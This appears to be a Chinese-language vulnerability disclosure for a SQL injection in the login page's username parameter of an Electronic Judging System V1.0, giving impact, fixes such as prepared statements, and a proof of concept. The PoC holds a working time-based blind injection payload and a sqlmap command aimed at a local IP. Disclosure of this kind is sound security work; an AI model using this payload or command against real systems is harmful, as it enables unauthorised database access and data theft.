# ITSOURCECODE Electronic Judging System Project V1.0 SQL 注入漏洞总结 ## 漏洞概述 * **漏洞类型**:SQL 注入 (SQL injection) * **受影响产品**:Electronic Judging System Project V1.0 * **漏洞文件**:`/intrams/login.php` * **漏洞位置**:`username` 参数 * **利用条件**:无需登录或授权即可利用 * **根本原因**:攻击者通过 `username` 参数注入恶意代码,直接用于 SQL 查询,且缺乏输入验证。 ## 影响范围 * 未经授权访问数据库 * 敏感数据泄露 * 数据篡改 * 系统控制 * 服务中断 ## 修复方案 1. **使用预处理语句和参数绑定**:防止 SQL 注入,将用户输入视为纯数据而非代码。 2. **输入验证和过滤**:严格验证用户输入,确保其符合预期格式。 3. **最小化数据库用户权限**:使用具有最小必要权限的账户连接数据库,避免使用 root/admin 账户。 4. **定期安全审计**:定期进行代码和系统安全审计,及时识别和修复漏洞。 ## POC 代码 **Payload:** ```sql Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: username=admin' AND (SELECT 6101 FROM (SELECT(SLEEP(5)))dQRM) AND 'LIVD'='LIVD&password=test ``` **sqlmap 命令:** ```bash sqlmap -u "http://192.168.84.193/intrams/login.php" --data="username=admin&password=test" --dbms=mysql --batch ```